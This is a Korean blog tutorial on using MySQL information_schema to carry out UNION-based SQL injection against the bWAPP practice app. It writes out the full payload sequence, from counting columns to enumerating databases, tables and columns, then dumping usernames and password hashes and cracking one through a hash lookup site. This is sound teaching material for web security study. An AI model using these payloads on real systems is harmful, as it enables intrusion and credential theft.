데이터베이스의 메타 데이터를 이용하여 현재 테이블이 아닌 다른 DB, 테이블의 내용을 알아내는 방법을 실습해본다.
관계형 데이터베이스 메타 데이터
관계형 데이터베이스는 DB, Table, column으로 구성되어 조직화된 모습으로 데이터를 저장하는 저장소이다.
메타데이터는 데이터베이스에 저장된 모든 데이터를 설명하는 데이터이며 데이터들을 구조화하고 정리하는데 중요한 역할을 한다.
메타데이터에는 데이터들의 구조, 위치 등이 담겨있기 때문에 공격 시 민감한 데이터의 위치를 찾는데 도움이 된다.
information_schema
MySQL과 MariaDB에서 사용되는 메타 데이터베이스이다.
DB의 거의 모든 정보를 가지고 있으며 데이터를 동적으로 생성하고 읽기 전용이라 사용자가 수정할 수 없다.
다양한 구성 중에 사용할 몇가지 내용을 설명한다.
- TABLES : 테이블에 대한 정보가 담긴 테이블
- COULUMNS : 컬럼에 대한 정보가 담긴 테이블
- table_schema : DB 이름을 가진 컬럼
- table_name : 테이블 이름을 가진 컬럼
- column_name : 컬럼 이름을 가진 컬럼
우리는 이 메타데이터베이스를 이용하여 SQL injection을 통해 웹 서버의 모든 ID/PW를 알아내는 실습을 진행한다.
bWAPP) SQL Injection (GET/Search)
해당 페이지는 검색을 통해 영화정보를 가져오는 기능을 하고 있다.
어떤 식으로 작동하는지 확인하기 위해 'd'를 입력해보았다.
결과를 보면 d가 포함된 영화들이 출력되고 있다. 이를 통해 우리는 sql문을 유추해볼 수 있다.
select title, release, character, genre, imdb from [테이블] where title='% 입력값 %';
입력값이 %로 감싸졌을 때 입력값 앞 뒤로 어떤 값이든 올 수 있으므로 해당 단어가 포함된 결과를 가져온다.
사용된 컬럼 개수 알아내기
우리는 이 페이지를 이용해 이 서버에 유저들의 ID/PW를 알아낼 것이다.
UNION을 이용하여 새로운 SQL문을 사용할 수 있도록 구성해보자.
단, UNION문은 앞에서 가져오는 컬럼 수와 뒤의 컬럼 수가 일치해야한다.
우리가 알 수 있는 앞 컬럼의 수는 5개임으로 5개를 맞추어 ' union select 1,2,3,4,5;# 를 입력해 본다.
컬럼 수가 다르다는 에러가 표시되었다. 우리는 한 개씩 늘려서 계속 반복해볼 수 밖에 없다.
' union select 1,2,3,4,5,6,7;# 을 입력했을 때 결과가 출력된다. 고로 앞의 컬럼 수는 7개라는 것을 알아냈다.
또한 외부로 보여지는 부분은 2,3,4,5 라는 것을 알아두자.
DB 탐색하기
이제 DB이름을 알아내기 위해 다음과 같이 입력한다. 또한 불필요한 출력을 줄이기 위해 앞 문장의 결과가 없도록 만든다.
' and 0 union select distinct 1,table_schema,3,4,5,6,7 from information_schema.columns;#
입력값을 해석하면 모든 컬럼이 있는 information_schema.columns 테이블에서 DB값이 담긴 table_schema의 값을 모두 가져오는데 distinct로 중복값 없이 가져온다는 뜻이다.
2에다 컬럼을 넣은 이유는 웹페이지에서 보여지는 부분이 2,3,4,5 이기 때문이다.
결과를 통해 어떤 DB들이 존재하는 지 알 수 있다.
다른 방법으로는 SQL 내장함수를 이용한 방법이 있다.
' and 0 union select 1,database(),version(),user(),5,6,7;#
database() : 현재 DB 명을 알려주는 함수
version() : 서버 버전을 알려주는 함수
user() : 사용자를 알려주는 함수
이와 같은 결과를 얻을 수 있다.
테이블 탐색하기
DB이름을 알아냈으므로 DB 내부 테이블을 탐색할 차례이다.
' and 0 union select distinct 1,table_name,3,4,5,6,7 from information_schema.columns where table_schema = 'bWAPP';#
information_schema.colums 테이블에서 db가 'bWAPP'인 테이블 이름만을 찾아낸다.
결과를 보면 users 테이블에 계정 정보가 있을 거라는 생각이 들기 때문에 한번 내부 컬럼을 확인해 보도록 하자.
컬럼 탐색하기
컬럼을 탐색하기 위한 입력값은 다음과 같다.
' and 0 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name = 'users';#
DB가 'bWAPP'이고 테이블이 'users'인 컬럼들을 출력한다.
우리가 원하는 정보에 가까워진 것 같다. 이제 DB, TABLE, COLUMN 값을 다 알기 때문에 login와 password를 출력해보자
내부 데이터 열람하기
모든 정보를 알고 있기 때문에 각 요소에 대입하여 select문을 만든다.
' and 0 union select 1,login,password,4,5,6,7 from bWAPP.users;#
password의 결과가 해시값으로 저장되어있다. 데이터베이스에 민감한 정보를 암호화나 해시로 저장하는 것은 바람직하나 취약한 해시알고리즘은 뚫리기 마련이다.
A.I.M 계정의 비밀번호 해시값을 다음 사이트에서 찾아볼 것이다.
이 사이트는 여러가지 값들을 미리 해시 계산을 해서 요청시 알맞은 값의 평문을 알려준다.
결과를 통해 bug 라는 단어가 해시된 값이라는 것을 확인할 수 있다.
이로써 우리는 게시판에서 SQL injection을 이용하여 웹 서버의 계정을 탈취하였다.
'보안 이론 > 웹 보안' 카테고리의 다른 글
Command Injection - DVWA를 이용한 실습 (0) | 2022.09.16 |
---|---|
Blind SQL Injection - DB 데이터 값 추측 (0) | 2022.09.16 |
SQL Injection - 오류 페이지를 이용한 공격 (0) | 2022.09.14 |
SQL Injection - 로그인 우회 (0) | 2022.09.14 |
HTTP 헤더와 오류코드 (0) | 2022.09.14 |